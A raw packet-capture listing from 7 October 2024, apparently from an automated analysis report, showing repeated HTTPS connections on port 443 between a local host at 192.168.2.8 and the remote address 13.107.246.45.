Oct 7, 2024 06:45:39.913969040 CEST	49809	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.914000034 CEST	443	49809	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.914654016 CEST	443	49805	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.914799929 CEST	443	49805	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.914854050 CEST	49805	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.914870977 CEST	49805	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.914880991 CEST	443	49805	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.914890051 CEST	49805	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.914895058 CEST	443	49805	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.916733980 CEST	49810	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.916757107 CEST	443	49810	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:39.916834116 CEST	49810	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.916948080 CEST	49810	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:39.916974068 CEST	443	49810	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.506711006 CEST	443	49806	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.507292986 CEST	49806	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.507308006 CEST	443	49806	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.507862091 CEST	49806	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.507868052 CEST	443	49806	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.510623932 CEST	443	49807	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.510915995 CEST	49807	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.510943890 CEST	443	49807	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.511445999 CEST	49807	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.511452913 CEST	443	49807	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.553090096 CEST	443	49810	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.553694963 CEST	49810	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.553729057 CEST	443	49810	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.554222107 CEST	49810	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.554230928 CEST	443	49810	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.564630032 CEST	443	49808	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.565172911 CEST	49808	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.565201998 CEST	443	49808	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.566620111 CEST	49808	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.566628933 CEST	443	49808	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.605604887 CEST	443	49806	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.605820894 CEST	443	49806	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.605861902 CEST	49806	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.628473043 CEST	49806	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.628473043 CEST	49806	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.628495932 CEST	443	49806	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.628508091 CEST	443	49806	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.652740955 CEST	443	49810	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.652818918 CEST	443	49810	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.652868032 CEST	49810	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.667941093 CEST	443	49808	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.668082952 CEST	443	49808	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.668138027 CEST	49808	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.670169115 CEST	49810	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.670198917 CEST	443	49810	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.670216084 CEST	49810	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.670224905 CEST	443	49810	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.672142029 CEST	49808	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.672166109 CEST	443	49808	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.672182083 CEST	49808	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.672188997 CEST	443	49808	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.676541090 CEST	49811	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.676573992 CEST	443	49811	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.676629066 CEST	49811	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.677356958 CEST	443	49807	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.677601099 CEST	443	49807	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.677642107 CEST	49807	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.678371906 CEST	49812	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.678412914 CEST	443	49812	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.678457022 CEST	49812	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.679078102 CEST	49813	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.679133892 CEST	443	49813	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.679184914 CEST	49813	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.679589033 CEST	49813	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.679604053 CEST	443	49813	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.679735899 CEST	49811	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.679759026 CEST	443	49811	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.679884911 CEST	49807	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.679904938 CEST	443	49807	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.679919004 CEST	49807	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.679924011 CEST	443	49807	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.682549953 CEST	49814	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.682563066 CEST	443	49814	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.682610989 CEST	49814	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.682715893 CEST	49812	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.682730913 CEST	443	49812	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.682862997 CEST	49814	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.682876110 CEST	443	49814	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.771728992 CEST	443	49809	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.791028023 CEST	49809	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.791100979 CEST	443	49809	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.791538954 CEST	49809	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.791553020 CEST	443	49809	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.889030933 CEST	443	49809	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.889385939 CEST	443	49809	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.889437914 CEST	49809	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.892030954 CEST	49809	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.892056942 CEST	443	49809	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.892071009 CEST	49809	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.892077923 CEST	443	49809	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.922467947 CEST	49815	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.922512054 CEST	443	49815	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:40.922578096 CEST	49815	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.926644087 CEST	49815	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:40.926660061 CEST	443	49815	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.317996025 CEST	443	49813	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.330432892 CEST	443	49814	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.355730057 CEST	443	49811	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.357526064 CEST	443	49812	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.370595932 CEST	49813	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.370660067 CEST	49814	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.401837111 CEST	49811	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.403477907 CEST	49812	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.414807081 CEST	49812	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.414836884 CEST	443	49812	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.430716038 CEST	49812	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.430732012 CEST	443	49812	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.431408882 CEST	49813	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.431431055 CEST	443	49813	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.432331085 CEST	49813	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.432337999 CEST	443	49813	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.434673071 CEST	49814	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.434679031 CEST	443	49814	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.435075045 CEST	49814	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.435081959 CEST	443	49814	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.440212965 CEST	49811	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.440226078 CEST	443	49811	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.440948963 CEST	49811	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.440954924 CEST	443	49811	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.527762890 CEST	443	49813	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.527843952 CEST	443	49813	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.527906895 CEST	49813	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.528208971 CEST	49813	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.528225899 CEST	443	49813	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.528239012 CEST	49813	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.528247118 CEST	443	49813	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.531666994 CEST	49816	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.531708002 CEST	443	49816	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.531785011 CEST	49816	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.531855106 CEST	443	49812	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.532016993 CEST	49816	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.532027960 CEST	443	49816	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.532090902 CEST	443	49814	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.532181978 CEST	443	49814	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.532224894 CEST	49814	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.532236099 CEST	443	49814	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.532278061 CEST	443	49812	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.532293081 CEST	443	49814	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.532322884 CEST	49812	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.532341003 CEST	443	49812	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.532351971 CEST	49814	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.532401085 CEST	49812	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.532450914 CEST	49812	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.532450914 CEST	49812	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.532461882 CEST	49814	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.532461882 CEST	49814	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.532469988 CEST	443	49814	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.532479048 CEST	443	49814	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.532489061 CEST	443	49812	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.532495975 CEST	443	49812	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.534688950 CEST	49817	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.534743071 CEST	443	49817	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.534827948 CEST	49817	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.534852028 CEST	49818	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.534857988 CEST	443	49818	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.534953117 CEST	49818	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.534962893 CEST	49817	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.534972906 CEST	443	49817	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.535039902 CEST	49818	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.535042048 CEST	443	49818	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.542175055 CEST	443	49811	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.542331934 CEST	443	49811	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.542392015 CEST	49811	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.542437077 CEST	49811	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.542453051 CEST	443	49811	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.542489052 CEST	49811	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.542503119 CEST	443	49811	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.544383049 CEST	49819	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.544394970 CEST	443	49819	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.544445992 CEST	49819	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.544578075 CEST	49819	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.544590950 CEST	443	49819	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.578845978 CEST	443	49815	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.579334974 CEST	49815	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.579407930 CEST	443	49815	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.579803944 CEST	49815	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.579816103 CEST	443	49815	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.678932905 CEST	443	49815	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.679102898 CEST	443	49815	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.679205894 CEST	49815	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.679322004 CEST	49815	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.679322004 CEST	49815	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.679369926 CEST	443	49815	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.679414034 CEST	443	49815	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.682358027 CEST	49820	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.682400942 CEST	443	49820	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:41.682485104 CEST	49820	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.682662964 CEST	49820	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:41.682668924 CEST	443	49820	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.180033922 CEST	443	49817	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.180589914 CEST	49817	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.180608034 CEST	443	49817	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.181222916 CEST	49817	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.181227922 CEST	443	49817	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.184046984 CEST	443	49819	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.184412956 CEST	49819	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.184428930 CEST	443	49819	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.184789896 CEST	49819	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.184797049 CEST	443	49819	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.195295095 CEST	443	49816	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.195750952 CEST	49816	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.195765018 CEST	443	49816	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.196156979 CEST	49816	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.196161032 CEST	443	49816	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.200772047 CEST	443	49818	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.201105118 CEST	49818	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.201122046 CEST	443	49818	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.201555014 CEST	49818	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.201559067 CEST	443	49818	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.278146982 CEST	443	49817	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.278280973 CEST	443	49817	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.278358936 CEST	49817	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.278454065 CEST	49817	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.278471947 CEST	443	49817	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.278481960 CEST	49817	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.278486967 CEST	443	49817	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.281331062 CEST	49821	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.281413078 CEST	443	49821	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.281512976 CEST	49821	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.281644106 CEST	49821	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.281661987 CEST	443	49821	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.282305002 CEST	443	49819	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.282417059 CEST	443	49819	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.282464027 CEST	49819	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.282501936 CEST	49819	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.282519102 CEST	443	49819	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.282529116 CEST	49819	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.282533884 CEST	443	49819	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.284543991 CEST	49822	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.284568071 CEST	443	49822	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.284653902 CEST	49822	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.284769058 CEST	49822	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.284791946 CEST	443	49822	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.297035933 CEST	443	49816	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.297173023 CEST	443	49816	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.297226906 CEST	49816	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.297257900 CEST	49816	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.297266006 CEST	443	49816	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.297272921 CEST	49816	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.297276974 CEST	443	49816	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.299073935 CEST	49823	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.299110889 CEST	443	49823	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.299180984 CEST	49823	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.299287081 CEST	49823	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.299293995 CEST	443	49823	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.308799982 CEST	443	49818	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.308825970 CEST	443	49818	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.308862925 CEST	443	49818	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.309120893 CEST	49818	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.309120893 CEST	49818	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.309120893 CEST	49818	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.309122086 CEST	49818	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.310874939 CEST	49824	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.310909986 CEST	443	49824	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.310986996 CEST	49824	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.311099052 CEST	49824	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.311110020 CEST	443	49824	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.318456888 CEST	443	49820	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.318803072 CEST	49820	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.318820000 CEST	443	49820	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.319245100 CEST	49820	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.319250107 CEST	443	49820	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.416325092 CEST	443	49820	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.416521072 CEST	443	49820	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.416584969 CEST	49820	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.416843891 CEST	49820	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.416865110 CEST	443	49820	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.416876078 CEST	49820	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.416882038 CEST	443	49820	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.420964003 CEST	49825	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.421058893 CEST	443	49825	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.421155930 CEST	49825	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.421514034 CEST	49825	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.421549082 CEST	443	49825	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.620580912 CEST	49818	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.620609999 CEST	443	49818	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.920999050 CEST	443	49822	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.923345089 CEST	49822	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.923408031 CEST	443	49822	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.923825026 CEST	49822	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.923841000 CEST	443	49822	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.948309898 CEST	443	49821	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.949942112 CEST	49821	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.949966908 CEST	443	49821	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.950298071 CEST	49821	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.950305939 CEST	443	49821	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.950480938 CEST	443	49824	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.955832005 CEST	49824	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.955871105 CEST	443	49824	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.956361055 CEST	49824	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.956377983 CEST	443	49824	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.967626095 CEST	443	49823	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.968051910 CEST	49823	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.968071938 CEST	443	49823	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:42.968461037 CEST	49823	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:42.968477011 CEST	443	49823	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.020361900 CEST	443	49822	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.020436049 CEST	443	49822	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.020538092 CEST	443	49822	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.020756960 CEST	49822	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.020756960 CEST	49822	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.020756960 CEST	49822	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.024184942 CEST	49826	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.024255991 CEST	443	49826	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.024358988 CEST	49826	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.024540901 CEST	49826	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.024561882 CEST	443	49826	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.050813913 CEST	443	49821	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.051063061 CEST	443	49821	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.051134109 CEST	49821	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.051177025 CEST	49821	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.051177025 CEST	49821	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.051208019 CEST	443	49821	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.051230907 CEST	443	49821	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.051763058 CEST	443	49824	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.051979065 CEST	443	49824	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.052028894 CEST	443	49824	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.052042961 CEST	49824	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.052098989 CEST	49824	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.052222967 CEST	49824	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.052222967 CEST	49824	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.052262068 CEST	443	49824	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.052284956 CEST	443	49824	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.053903103 CEST	49827	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.053955078 CEST	443	49827	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.054034948 CEST	49827	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.054151058 CEST	49827	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:43.054171085 CEST	443	49827	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:43.054796934 CEST	49828	443	192.168.2.8	13.107.246.45
